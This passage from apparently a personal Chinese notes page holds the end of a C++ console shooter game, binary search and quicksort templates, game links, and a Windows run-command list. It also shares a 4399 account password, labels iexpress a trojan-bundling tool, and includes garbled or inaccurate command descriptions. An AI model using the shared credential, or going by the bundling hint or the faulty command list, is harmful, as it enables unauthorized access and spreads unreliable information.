        if(m[i][j]==54&&nx[i][j]==0)//激光怪
        {
            int R=rand()%10;
            if(R==0) {int r=rand()%4; Light(i,j,231+2*r,2);}
            else if(R<=3)
            {
                int r=rand()%4+1,Ie,Je;
                if(r==1) Ie=i-1,Je=j;if(r==2) Ie=i,Je=j+1;if(r==3) Ie=i,Je=j-1;if(r==4) Ie=i+1,Je=j;
                if(CanGo(Ie,Je,1)) m[i][j]=0,m[Ie][Je]=54,SetPos(i,j),cout<<"  ",SetPos(Ie,Je),cout<<"●";
            }
        }
        if(m[i][j]/100==2&&F[3]==1&&T%2==0) nx[i][j]=1;
        if((m[i][j]/100==1||m[i][j]/100==2)&&nx[i][j]==0)//子弹 
        {
            int M=m[i][j],I,J;m[i][j]=0;SetPos(i,j),cout<<"  ";
            if(M%10==1) I=i-1,J=j;if(M%10==2) I=i-1,J=j+1;if(M%10==3) I=i,J=j+1;if(M%10==4) I=i+1,J=j+1;
            if(M%10==5) I=i+1,J=j;if(M%10==6) I=i+1,J=j-1;if(M%10==7) I=i,J=j-1;if(M%10==8) I=i-1,J=j-1;

            if(I==X&&J==Y&&M/100==2) {Jian(2),system("color 4F"),Sleep(30);system("color 0F"),m[i][j]=0;Map(4);}
            else if(I==X&&J==Y&&M/100==1) m[I][J]=0;
            else if(M/100==2&&m[I][J]/100==1) m[i][j]=32;
            else if(M/100==2&&m[I][J]<55&&m[I][J]>=50) m[i][j]=0;
            else if(m[I][J]==2||m[I][J]==3)//石
            {
                if((M%100)/10==0)
                {
                    int rr=rand()%3;
                    if(rr==0) Fan(i,j,M),m[i][j]+=10;
                    else m[i][j]=84;
                }
                if((M%100)/10==1)
                {
                    m[i][j]=84;
                    int rr=rand()%5;
                    if(rr==0&&F[14]==1&&M/100==1)
                    {
                            for(int ii=i-1;ii<=i+1;ii++)
                            for(int jj=j-1;jj<=j+1;jj++)
                            if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                    }
                }
                if((M%100)/10==2)
                {
                    m[i][j]=84;
                    if(m[i-1][j]!=2&&m[i-1][j]!=3)     m[i-1][j]=111;
                    if(m[i-1][j+1]!=2&&m[i-1][j+1]!=3) m[i-1][j+1]=112;
                    if(m[i][j+1]!=2&&m[i][j+1]!=3)     m[i][j+1]=113;
                    if(m[i+1][j+1]!=2&&m[i+1][j+1]!=3) m[i+1][j+1]=114;
                    if(m[i+1][j]!=2&&m[i+1][j]!=3)     m[i+1][j]=115;
                    if(m[i+1][j-1]!=2&&m[i+1][j-1]!=3) m[i+1][j-1]=116;
                    if(m[i][j-1]!=2&&m[i][j-1]!=3)     m[i][j-1]=117;
                    if(m[i-1][j-1]!=2&&m[i-1][j-1]!=3) m[i-1][j-1]=118;
                }
                if((M%100)/10==3) {if(m[I][J]==2&&(I!=1&&J!=1&&I!=29&&J!=29)) m[I][J]=84;else m[i][j]=84;}
                if((M%100)/10==4) m[i][j]=84;
                if((M%100)/10==5)
                {
                    for(int ii=i-2;ii<=i+2;ii++)
                    for(int jj=j-2;jj<=j+2;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                }
                if((M%100)/10==6)
                {
                    for(int ii=i-1;ii<=i+1;ii++)
                    for(int jj=j-1;jj<=j+1;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9;
                }
                if((M%100)/10>=7&&(M%100)/10<9) Fan(i,j,M),m[i][j]+=(rand()%2)*10;
                if((M%100)/10==9) m[i][j]=84;
            }
            else if(!CanGo(I,J,6))//其他
            {
                if((M%100)/10==0) m[I][J]=84,Fan(i,j,M),m[i][j]+=10;
                if((M%100)/10==1)
                {
                    if(M/100==2&&m[I][J]==50) m[i][j]=0;
                    else m[I][J]=84;
                    if(F[14]==1&&M/100==1)
                    {
                            for(int ii=I-1;ii<=I+1;ii++)
                            for(int jj=J-1;jj<=J+1;jj++)
                            if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                    }
                }
                if((M%100)/10==2)
                {
                    m[I][J]=84;
                    if(m[I-1][J]!=2&&m[I-1][J]!=3)     m[I-1][J]=111;
                    if(m[I-1][J+1]!=2&&m[I-1][J+1]!=3) m[I-1][J+1]=112;
                    if(m[I][J+1]!=2&&m[I][J+1]!=3)     m[I][J+1]=113;
                    if(m[I+1][J+1]!=2&&m[I+1][J+1]!=3) m[I+1][J+1]=114;
                    if(m[I+1][J]!=2&&m[I+1][J]!=3)     m[I+1][J]=115;
                    if(m[I+1][J-1]!=2&&m[I+1][J-1]!=3) m[I+1][J-1]=116;
                    if(m[I][J-1]!=2&&m[I][J-1]!=3)     m[I][J-1]=117;
                    if(m[I-1][J-1]!=2&&m[I-1][J-1]!=3) m[I-1][J-1]=118;
                }
                if((M%100)/10==3) m[I][J]=M,nx[I][J]=1;
                if((M%100)/10==4) Light(i,j,M,3);
                if((M%100)/10==5)
                {
                    for(int ii=I-2;ii<=I+2;ii++)
                    for(int jj=J-2;jj<=J+2;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=84;
                }
                if((M%100)/10==6)
                {
                    for(int ii=I-1;ii<=I+1;ii++)
                    for(int jj=J-1;jj<=J+1;jj++)
                    if(m[ii][jj]!=2&&m[ii][jj]!=3&&ii<=28&&jj<=28) m[ii][jj]=9;
                }
                if((M%100)/10>=7&&(M%100)/10<9) m[I][J]=84,Fan(i,j,M);
                if((M%100)/10==9) m[I][J]=84;
            }
            else//空地
            {
                if((M%100)/10==6)
                {
                    m[i][j]=9;
                    if(CanGo(i,j-1,5)) m[i][j-1]=9;if(CanGo(i,j+1,5)) m[i][j+1]=9;
                    if(CanGo(i-1,j,5)) m[i-1][j]=9;if(CanGo(i-1,j,5)) m[i+1][j]=9;
                    m[I][J]=M,nx[I][J]=1;
                }
                if((M%100)/10==4) m[i][j]=84,m[I][J]=M,i=2,j=2;
                else m[I][J]=M,nx[I][J]=1;
            }
        }
    }
    if(Bblood>0) Boss();
}
void Bullet()
{
    int I=0,J=0,R=rand()%10,Rr=rand()%3,Rrr,K=0,tg=gunT;
    Hh:Rrr=rand()%20;
    if(gunT==1&&m[X-1][Y]!=2&&m[X-1][Y]!=3) I=X-1,J=Y;
    if(gunT==2&&m[X-1][Y+1]!=2&&m[X-1][Y+1]!=3) I=X-1,J=Y+1;
    if(gunT==3&&m[X][Y+1]!=2&&m[X][Y+1]!=3) I=X,J=Y+1;
    if(gunT==4&&m[X+1][Y+1]!=2&&m[X+1][Y+1]!=3) I=X+1,J=Y+1;
    if(gunT==5&&m[X+1][Y]!=2&&m[X+1][Y]!=3) I=X+1,J=Y;
    if(gunT==6&&m[X+1][Y-1]!=2&&m[X+1][Y-1]!=3) I=X+1,J=Y-1;
    if(gunT==7&&m[X][Y-1]!=2&&m[X][Y-1]!=3) I=X,J=Y-1;
    if(gunT==8&&m[X-1][Y-1]!=2&&m[X-1][Y-1]!=3) I=X-1,J=Y-1;
    if(I!=0&&J!=0) m[I][J]=100+10*gunZ+gunT;
    if(K==1) m[I][J]=110+gunT;
    if(F[2]==1&&gunZ==1) m[I][J]=100+gunT;
    if(F[8]==1&&R==0&&K==0) {gunT=rand()%8+1;K=1;goto Hh;}
    if(F[8]==1&&K!=0&&K<Rr) {gunT=rand()%8+1;K++;goto Hh;} if(K>=Rr) gunT=tg;
    if(Rrr==0&&F[11]==1&&K==0) {m[I][J]=100+10*(rand()%7+1)+gunT;}
    if(gunZ!=1) {G[gunZ]--; if(G[gunZ]<=0) G[gunZ]=0,gunZ=1;Map(3);}
}
void OpenBox(int a)
{
    for(int i=X-1;i<=X+1;i++)
    for(int j=Y-1;j<=Y+1;j++)
    if(m[i][j]==3)
    {
        int r=2;//
        if(a==1) r=rand()%6+2;
        if(F[9]==1) r=rand()%12+2;
        SetPos(i,j);Color(5);
        if(r==2) cout<<"分裂枪！";
        if(r==3) cout<<"穿甲枪！";
        if(r==4) cout<<"激光枪！";
        if(r==5) cout<<"爆炸枪！";
        if(r==6) cout<<"毒气枪！";
        if(r==7) cout<<"弹跳枪！";
        if(r==8) cout<<"生命药水！",Blood=min(Blood+5,Bmax+2),Map(3);
        if(r==9) cout<<"盾牌药水！",Dun=min(Dun+5,Dmax+2),Map(3);
        if(F[9]==1&&r>=8&&r<=13) cout<<"生命药水！",Blood=min(Blood+5,Bmax+2),Map(3);
        Sleep(1000);m[i][j]=84;if(r<=7&&F[6]==0) gunZ=r,G[r]+=10;if(r<=7&&F[6]==1) gunZ=r,G[r]+=20;
        SetPos(i,j); cout<<"         ";Map(0);
    }
}
void Sheng()
{
    memset(m,0,sizeof(m));memset(n,0,sizeof(n));
    int q=0,T=0,II=0,JJ=0;
    Re: q++;
    int r=rand()%15+1;
    if(F[19]==1) r=rand()%20+1;
    if(r==1) {for(int i=5;i<=7;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=5;j<=7;j++) m[i][j]=2;for(int i=5;i<=7;i++)for(int j=23;j<=25;j++) m[i][j]=2;for(int i=23;i<=25;i++)for(int j=23;j<=25;j++) m[i][j]=2;}
    if(r==2) {for(int i=13;i<=17;i++) for(int j=13;j<=17;j++) m[i][j]=1;}
    if(r==3) {for(int i=2;i<=28;i++) m[i][6]=m[i][24]=m[6][i]=m[24][i]=1;}
    if(r==4) {for(int i=2;i<=28;i++) m[i][15]=m[15][i]=1;}
    if(r==5) {for(int i=2;i<=28;i++) if(abs(i-15)>=3) m[i][15]=m[15][i]=2;}
    if(r==6) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(i==j||i+j==30) m[i][j]=1;}
    if(r==7) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) if(abs(i-15)+abs(j-15)==10) m[i][j]=1;}
    if(r==8) {for(int i=5;i<=25;i++) if(abs(i-15)>=2) m[i][10]=m[i][20]=m[10][i]=m[20][i]=2;}
    if(r==9) {for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {int rr=rand()%20; if(rr==0&&m[i][j]==0) m[i][j]=1;}}
    if(r>=10&&II==0) {T--;int ii=rand()%27+2;int jj=rand()%27+2; for(int i=ii-1;i<=ii+1;i++) for(int j=jj-1;j<=jj+1;j++) if(m[i][j]==0) m[i][j]=1;II=ii,JJ=jj;}
    if(r>=10&&II!=0) goto Re;if(Lev<=5&&q<2) goto Re;
    T++;if(T==1) goto Re;if(II!=0) m[II][JJ]=3;
    r=rand()%15+1;
    if(r==1) {for(int i=5;i<=25;i++) n[i][4]=n[i][9]=n[i][15]=n[i][21]=n[i][26]=31;}
    if(r==2) {for(int i=8;i<=22;i++) n[i][8]=n[i][22]=n[8][i]=n[22][i]=31;}
    if(r==3) {for(int i=1;i<=5;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-2;ki<=ii+2;ki++)for(int kj=jj-2;kj<=jj+2;kj++) if(abs(ki-X)>2||abs(kj-Y)>2) n[ki][kj]=1;}}
    if(r==4) {for(int i=1;i<=7;i++) {int ii=rand()%23+4,jj=rand()%23+4;for(int ki=ii-1;ki<=ii+1;ki++)for(int kj=jj-1;kj<=jj+1;kj++) n[ki][kj]=11;}}
    if(r==5) {for(int i=1;i<=20;i++) {int ii=rand()%23+4,jj=rand()%13+1;jj*=2;for(int ki=ii-1;ki<=ii+1;ki++) n[jj+1][ki]=31;}}
    if(r==6) {for(int i=2;i<=28;i++) n[i][9]=n[i][10]=n[i][20]=n[i][21]=11;}
    if(r==7) {for(int i=5;i<=25;i++) n[4][i]=n[9][i]=n[15][i]=n[21][i]=n[26][i]=31;}
    if(r==8) {for(int i=7;i<=23;i++) for(int j=7;j<=23;j++) if(i==j||i+j==30) n[i][j]=31;}
    if(r==9) {for(int i=2;i<=28;i++) {if(i!=4&&i!=26&&!(i==Y&&(14<=X&&16>=X))) n[14][i]=n[15][i]=n[16][i]=1; m[14][i]=m[15][i]=m[16][i]=0;}}
    if(r==10) {for(int i=7;i<=23;i++) if(abs(i-15)>1) n[i][7]=n[i][23]=n[7][i]=n[23][i]=1;}
    Kk:
    int k=0,K[35][35]; memset(K,0,sizeof(K));
    if(Lev%5!=4)
    {
        for(int i=2;i<=28;i++)//怪
        for(int j=2;j<=28;j++)
        {
            if(Lev<=1) {int r=rand()%150;if(r==0) K[i][j]=50,k++;}
            else if(Lev<=2) {int r=rand()%200;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r<=1) k++;}
            else if(Lev<=3) {int r=rand()%300;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r<=2) k++;}
            else if(Lev<=5) {int r=rand()%400;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r<=3) k++;}
            else if(Lev<=7) {int r=rand()%350;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r==4) K[i][j]=54;if(r<=4) k++;}
            else {int r;if(Lev<=10) r=rand()%300;if(Lev<=15) r=rand()%280;if(Lev<=20) r=rand()%250;if(Lev<=25) r=rand()%230;if(r==0) K[i][j]=50;if(r==1) K[i][j]=51;if(r==2) K[i][j]=52;if(r==3) K[i][j]=53;if(r==4) K[i][j]=54;if(r<=4) k++;}
        }if(k<3) goto Kk;if(k>5&&Lev<=3) goto Kk;if(k<5&&Lev>=10) goto Kk;if(k>10&&Lev<=10) goto Kk;if(k>15&&Lev<=15) goto Kk;if(k<10&&Lev>=20) goto Kk;if(k>20&&Lev<=20) goto Kk;
    }
    for(int i=2;i<=28;i++) for(int j=2;j<=28;j++) {if(n[i][j]!=0) m[i][j]=0;if(K[i][j]!=0&&(m[i-1][j]!=2||m[i+1][j]!=2||m[i][j-1]!=2||m[i][j+1]!=2)) m[i][j]=K[i][j];}
    if(Lev%5==4) {int ms;if(Lev==4) ms=3;if(Lev==9) ms=5;if(Lev==14) ms=10;if(Lev==19) ms=15;if(Lev==24) ms=20;Bx=rand()%23+4,By=rand()%23+4;Bblood=ms*12;for(int i=14;i<=16;i++) for(int j=14;j<=16;j++) m[i][j]=n[i][j]=0;}
    for(int i=X-1;i<=X+1;i++) for(int j=Y-1;j<=Y+1;j++) if(i!=1&&i!=29&&j!=1&&j!=29) m[i][j]=0;
    for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2; for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块
}
void TianFu()
{
    int A[4],ss=0;
    system("cls");
    SetPos(5,5),cout<<"选择一个天赋！（数字键选择）"; 
    Tf:
    int R=rand()%20+1;
    for(int i=1;i<=3;i++) if(R==A[i]) goto Tf;
    if(F[R]==1) goto Tf;
    ss++,A[ss]=R; SetPos(4*ss+5,8),cout<<ss<<"、";
    if(R==1) SetPos(4*ss+5,10),cout<<"盾牌恢复速度增加";
    if(R==2) SetPos(4*ss+5,10),cout<<"普通子弹有概率弹跳";
    if(R==3) SetPos(4*ss+5,10),cout<<"怪物子弹速度变慢";
    if(R==4) SetPos(4*ss+5,10),cout<<"免疫地刺和怪物的毒";
    if(R==5) SetPos(4*ss+5,10),cout<<"开局无敌时间增加";
    if(R==6) SetPos(4*ss+5,10),cout<<"宝箱子弹量增加";
    if(R==7) SetPos(4*ss+5,10),cout<<"盾牌上限增加";
    if(R==8) SetPos(4*ss+5,10),cout<<"有概率发射散弹";
    if(R==9) SetPos(4*ss+5,10),cout<<"宝箱抽出生命水概率增加";
    if(R==10) SetPos(4*ss+5,10),cout<<"每次开局有概率增加生命";
    if(R==11) SetPos(4*ss+5,10),cout<<"有概率发射特殊子弹";
    if(R==12) SetPos(4*ss+5,10),cout<<"激光伤害减半";
    if(R==13) SetPos(4*ss+5,10),cout<<"盾牌爆后无敌一段时间";
    if(R==14) SetPos(4*ss+5,10),cout<<"普通子弹有概率爆炸";
    if(R==15) SetPos(4*ss+5,10),cout<<"杀死怪有几率加盾（BOSS关除外）";
    if(R==16) SetPos(4*ss+5,10),cout<<"出场释放冲击波";
    if(R==17) SetPos(4*ss+5,10),cout<<"盾牌爆后释放冲击波";
    if(R==18) SetPos(4*ss+5,10),cout<<"有概率在身周放毒";
    if(R==19) SetPos(4*ss+5,10),cout<<"刷出宝箱概率增加";
    if(R==20) SetPos(4*ss+5,10),cout<<"每次开局获得一把枪";
    if(ss<3) goto Tf;
    tF:
    char c=_getch();
    if(c>='1'&&c<='3') F[A[c-'0']]=1;
    else goto tF;
    if(A[c-'0']==7) Dmax+=3;
}
void GuaiQuan()
{
    X=3,Y=3;Win=-1;system("cls");Color(0);
    memset(m,0,sizeof(m));memset(n,0,sizeof(n));
    for(int i=1;i<=29;i++) m[1][i]=2,m[29][i]=2;
    for(int i=1;i<=29;i++) m[i][1]=2,m[i][29]=2;//周围石块 
    for(int i=4;i<=12;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2;
    for(int i=18;i<=26;i++) m[i][4]=m[i][12]=m[4][i]=m[12][i]=m[i][18]=m[i][26]=m[18][i]=m[26][i]=2;
    for(int i=11;i<=19;i++) m[i][11]=m[i][19]=m[11][i]=m[19][i]=2;
    for(int i=6;i<=10;i++) for(int j=13;j<=17;j++) m[i][j]=1; 
    m[8][8]=50;m[8][21]=51;m[15][15]=52;m[21][8]=53;m[21][21]=54;m[16][23]=3;Map(5);
    SetPos(3,5);cout<<"←你";SetPos(4,14);cout<<"木箱↓";SetPos(17,4);cout<<"铁块↓";SetPos(17,21);cout<<"宝箱↑";
    SetPos(13,5);cout<<"无脑小怪↑";SetPos(14,21);cout<<"剧毒小怪↑";
    SetPos(20,13);cout<<"散弹小怪↑";SetPos(27,5);cout<<"狙击小怪↑";SetPos(27,21);cout<<"激光小怪↑";
    while(1)
    {
        if(bu>0) bu--;
        if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; 
        else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++;
        else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--;
        else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++;
        if(kbhit())
        {
            char g=_getch();
            if(g=='a') {Map(2); if(gunT!=1) gunT--;else gunT=8;}
            if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;}
            if(g=='w') OpenBox(1);
            if(g=='s'&&bu<=2) Bullet(),bu+=2;
            if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause");
            if(g=='y'&&Win<0) {break;}
        }
        if(sy==1) SetPos(-1,18),cout<<"                           ",sy--;
        Move(); Map(0); Sleep(50);
    }Lev=0;Blood=10,Dun=10,Bmax=10,Dmax=10;
}
void Start()
{
    Color(5);
    SetPos(2,3);cout<<"     ■■■■■■            ■                  ";
    SetPos(3,3);cout<<"                            ■■■■■■■■     ";
    SetPos(4,3);cout<<"                           ■                    ";
    SetPos(5,3);cout<<" ■■■■■■■■■■    ■  ■■■■■■        ";
    SetPos(6,3);cout<<"       ■    ■                                  ";
    SetPos(7,3);cout<<"       ■    ■              ■■■■■■■      ";
    SetPos(8,3);cout<<"      ■     ■  ■                    ■        ";
    SetPos(9,3);cout<<"   ■■       ■■■                  ■        ";
    SetPos(10,3);cout<<"                                      ■    ■  ";
    SetPos(11,3);cout<<"                         小            ■■■■ ";
    SetPos(13,3);cout<<" 2.0版本：                                      ";
    SetPos(14,3);cout<<"                               ■■■     ■    ";
    SetPos(15,3);cout<<" 新增BOSS！Crab-Dave！         ■  ■    ■     ";
    SetPos(16,3);cout<<"                               ■■■  ■    ■ ";
    SetPos(17,3);cout<<" 水,生木块,地刺加入战场！      ■  ■ ■■■■■";
    SetPos(18,3);cout<<"                               ■  ■           ";
    SetPos(19,3);cout<<" 身周不会刷出石和水了！        ■■■  ■■■■ ";
    SetPos(20,3);cout<<"                               ■  ■  ■    ■ ";
    SetPos(21,3);cout<<" BUG修正于小优化！努力通关吧！ ■  ■  ■    ■ ";
    SetPos(22,3);cout<<"                            ■■   ■  ■■■■ ";
    SetPos(25,4);Color(1);cout<<"按 y 开始游戏!";
    SetPos(29,3);Color(3);cout<<"注意！这里 绝对不能是拼音输入法!";
    A:char y=_getch();
    if(y=='y') return;
    else goto A;
}
void Bling()
{
    for(int i=0;i<=3;i++)
    {
        system("color 1A");Sleep(10);
        system("color 2B");Sleep(10);
        system("color 3C");Sleep(10);
        system("color 4D");Sleep(10);
        system("color 5D");Sleep(10);
        system("color 6E");Sleep(10);
        system("color 7F");Sleep(10);
    }system("color 0F");system("cls");
}
void BaoBo(int B)
{
    for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y-B,3)&&i>0&&Y-B>0) m[i][Y-B]=86,m[i][Y-B+1]=8;
    for(int i=X-B;i<=X+B;i++) if(CanGo(i,Y+B,3)&&i>0&&Y+B>0) m[i][Y+B]=86,m[i][Y+B-1]=8;
    for(int j=Y-B;j<=Y+B;j++) if(CanGo(X+B,j,3)&&j>0&&X+B>0) m[X+B][j]=86,m[X+B-1][Y]=8;
    for(int j=Y-B;j<=Y+B;j++) if(CanGo(X-B,j,3)&&j>0&&X-B>0) m[X-B][j]=86,m[X-B+1][Y]=8;
}
void Ci()
{
    for(int i=1;i<=29;i++)
    for(int j=1;j<=29;j++)
    {
        if(n[i][j]>=10&&n[i][j]<50&&n[i][j]!=30) n[i][j]++;
        if(n[i][j]==50) {n[i][j]=31;if(m[i][j]==2) m[i][j]=0;}
        if(n[i][j]==45&&!(m[i][j]>=50&&m[i][j]<55)&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=2;
        if(n[i][j]>20&&n[i][j]<=30&&m[i][j]==0) n[i][j]=10;
        if(n[i][j]==20&&m[i][j]==0&&!(abs(Bx-i)<=1&&abs(By-i)<=1)) m[i][j]=1;
    }
}
int main()
{
    system("mode con cols=62 lines=34");
    CONSOLE_CURSOR_INFO cursor_info={1,0};
    SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);
    srand((unsigned)time(NULL));
    SSt: 
    Start();Bling();
    X=4,Y=8,gx=gy=0,gunT=1,gunZ=1,Lev=0,T;
    Blood=10,Dun=10,Bmax=10,Dmax=10;
    memset(G,0,sizeof(G)); memset(F,0,sizeof(F));
    GuaiQuan();
    St:
    Win=0;Bo=Boo=0;
    memset(m,0,sizeof(m));
    if(Lev%5==0&&Lev!=0) TianFu();
    Bling();T=0;Sheng();Map(1);int rr=rand()%3;
    if(F[5]==1) WuDi=60;else WuDi=30;
    if(rr==0&&F[10]==1) Blood=min(Blood+1,Bmax);
    if(F[16]==1) Bo=4;
    if(F[20]==1) {int Q=rand()%7+2;gunZ=Q,G[Q]=5;}
    while(Win<=0&&Blood>0&&Lev<25)
    {
        T++;
        if(bu>0) bu--;
        if(WuDi>0) WuDi--;
        if(WuDi==1) WuDi--,Map(4);
        if(Bo>0) BaoBo(5-Bo),Bo--;
        if(Boo>0) BaoBo(4-Boo),Boo--;
        if(F[18]==1)
        {
            int Rrr=rand()%30;
            if(Rrr==0)
            for(int i=X-2;i<=X+2;i++)
            for(int j=Y-2;j<=Y+2;j++) if(CanGo(i,j,5)&&i>0&&j>0) m[i][j]=9;
        }
        if(Dun<Dmax)
        {
            if(F[1]==1&&T%30==0) Dun++,Map(3);
            if(F[1]==0&&T%70==0) Dun++,Map(3);
        }
        if(GetAsyncKeyState(VK_UP)&0x8000) Map(2),gx--; 
        else if(GetAsyncKeyState(VK_DOWN)&0x8000) Map(2),gx++;
        else if(GetAsyncKeyState(VK_LEFT)&0x8000) Map(2),gy--;
        else if(GetAsyncKeyState(VK_RIGHT)&0x8000) Map(2),gy++;
        if(kbhit())
        {
            char g=_getch();
            if(g=='a') {Map(2); if(gunT!=1) gunT--;else gunT=8;}
            if(g=='d') {Map(2); if(gunT!=8) gunT++;else gunT=1;}
            if(g=='w') OpenBox(0);
            if(g=='s'&&bu<=2) Bullet(),bu+=2;
            if(g==' ') Sleep(100),SetPos(-1,18),sy++,system("pause");
        }
        if(sy==1) SetPos(-1,18),cout<<"                           ",sy--;
        if(T%2==0) Ci();
        Move();Map(0);Sleep(50);
    }
    if(Win==0&&Blood<=0&&Lev<25)
    {
        system("color 7F"),Color(4);Lev=0;Blood=Dun=Bmax=Dmax=10;
        Bblood=Bsi=Bjiao=Bdu=Bfang=0;
        memset(G,0,sizeof(G)); memset(F,0,sizeof(F));
        SetPos(2,2);cout<<"You! Die!!!",Sleep(1000);
        SetPos(3,2);cout<<"Please point 'y' to Play AGain.";
    }
    if(Lev<25) { A:char e=_getch();if(e=='y') goto St;else goto A;}
    if(Lev==25)
    {
        system("color 6E"),Color(5);
        SetPos(2,2),cout<<"You! Pass All The Level!!!";Sleep(3000);
        system("color 0F");system("cls");goto SSt;
    }
    return 0;
}

Copy

二分查找模板

int erfen(int c[],int b,int g){
	int tou=0,wei=b-1;
	while(tou<=wei){
		int mid=(tou+wei)/2;
		if(c[mid]>=g){
			wei=mid-1;
		}else if(c[mid]<g){
			tou=mid+1;
		}
	}
	if(c[tou]==g){
		return tou+1;
	}
	return -1;	
}

Copy

快速排序模板

#include <bits/stdc++.h>
using namespace std;
/*
对n个数进行排序 
*/
const int N=1e5+5;
int a[N];//原数组 
int n;
void fast_sort(int left,int right){
	//基本情况，递归边界 
	if(left>=right){
		 return;
	}
	//交换枢纽元，一般选中间值
	int mid=(left+right)/2;
	//交换枢纽元和最右边的值 
	swap(a[mid],a[right]);
	int i=left,j=right-1;
	while(i<=j){//区间没有交错，还有元素处理
		//i往右移动，直到找到比枢纽元大的数 
		while(a[i]<a[right]){
			i++;
		}
		//j往左移动，直到找到比枢纽元小的数 
		while(a[j]>a[right]){
			j--;
		}
		if(i<=j){
			swap(a[i],a[j]);
			i++;
			j--;
		}
	}
	//交换枢纽元和i交换 
	swap(a[right],a[i]);
	
	//对左右区间进一步划分 
	fast_sort(left,i-1);//左 
	fast_sort(i+1,right);//右 
}

int main(){
	//先输入一个n,再输入n个数 
	cin>>n;
	for(int i=1;i<=n;i++){
		cin>>a[i];
	}
	fast_sort(1,n);
	for(int i=1;i<=n;i++){
		cout<<a[i]<<" ";
	}
	return 0;
}

Copy

4399通用账号：2423764051 密码：111111

chrome://dino 打开小恐龙 https://corezwb.lanzouq.com/iAFNA01ud3qj 密码gs83

摸鱼人的小仓库 http://www.staggeringbeauty.com/ 大虫子 https://www.ak-ioi.com/apps/oi-2048/ 华容道 chrome://dino/ 小恐龙 https://littlealchemy2.com/ 小小炼金师 https://2048game.com/ 数字组 https://dimit.me/Fe26/index_zh_CN.html 死铁 http://www.4399.com/ 4399 https://www.mazegenerator.net/ 迷宫 https://lewan.baidu.com/rankland?idfrom=5056&gameSource=mini&gameType=0 百度游戏 [https://deepmess.com/namerena/]名字竞技场 ev.io 枪战游戏https://www.crazygames.com/game/air-wars-2 飞机 https://www.crazygames.com/game/kirka-io 枪战 https://www.crazygames.com/game/ev-io 枪战 CrazyGames - Free Online Games on CrazyGames.com

三、Windows CMD命令大全

gpedit.msc-----组策略
sndrec32-------录音机
Nslookup-------IP地址侦测器，是一个监测网络中 DNS 服务器是否能正确实现域名解析的命令行工具。它在 Windows NT/2000/XP 中均可使用 , 但在 Windows 98 中却没有集成这一个工具。
explorer-------打开资源管理器
logoff---------注销命令
shutdown-------60秒倒计时关机命令
lusrmgr.msc----本机用户和组
services.msc---本地服务设置
oobe/msoobe /a----检查XP是否激活
notepad--------打开记事本
cleanmgr-------垃圾整理
net start messenger----开始信使服务
compmgmt.msc---计算机管理
net stop messenger-----停止信使服务
conf-----------启动netmeeting
dvdplay--------DVD播放器
charmap--------启动字符映射表
diskmgmt.msc---磁盘管理实用程序
calc-----------启动计算器
dfrg.msc-------磁盘碎片整理程序
chkdsk.exe-----Chkdsk磁盘检查
devmgmt.msc--- 设备管理器
regsvr32 /u *.dll----停止dll文件运行
drwtsn32------ 系统医生
rononce -p----15秒关机
dxdiag---------检查DirectX信息
regedt32-------注册表编辑器
Msconfig.exe---系统配置实用程序
rsop.msc-------组策略结果集
mem.exe--------显示内存使用情况
regedit.exe----注册表
winchat--------XP自带局域网聊天
progman--------程序管理器
winmsd---------系统信息
perfmon.msc----计算机性能监测程序
winver---------检查Windows版本
sfc /scannow-----扫描错误并复原
taskmgr-----任务管理器(2000/xp/2003
wmimgmt.msc----打开windows管理体系结构(WMI)
wupdmgr--------windows更新程序
wscript--------windows脚本宿主设置
write----------写字板
wiaacmgr-------扫描仪和照相机向导
winchat--------XP自带局域网聊天
mplayer2-------简易widnows media player
mspaint--------画图板
mstsc----------远程桌面连接
magnify--------放大镜实用程序
mmc------------打开控制台
mobsync--------同步命令
iexpress-------木马捆绑工具，系统自带
fsmgmt.msc-----共享文件夹管理器
utilman--------辅助工具管理器
dcomcnfg-------打开系统组件服务
ddeshare-------打开DDE共享设置
osk------------打开屏幕键盘
odbcad32-------ODBC数据源管理器
oobe/msoobe /a----检查XP是否激活
ntbackup-------系统备份和还原
narrator-------屏幕“讲述人”
ntmsmgr.msc----移动存储管理器
ntmsoprq.msc---移动存储管理员操作请求
netstat -an----(TC)命令检查接口
syncapp--------创建一个公文包
sysedit--------系统配置编辑器
sigverif-------文件签名验证程序
ciadv.msc------索引服务程序
shrpubw--------创建共享文件夹
secpol.msc-----本地安全策略
syskey---------系统加密，一旦加密就不能解开，保护windows xp系统的双重密码
services.msc---本地服务设置
Sndvol32-------音量控制程序
sfc.exe--------系统文件检查器
sfc /scannow---windows文件保护
ciadv.msc------索引服务程序
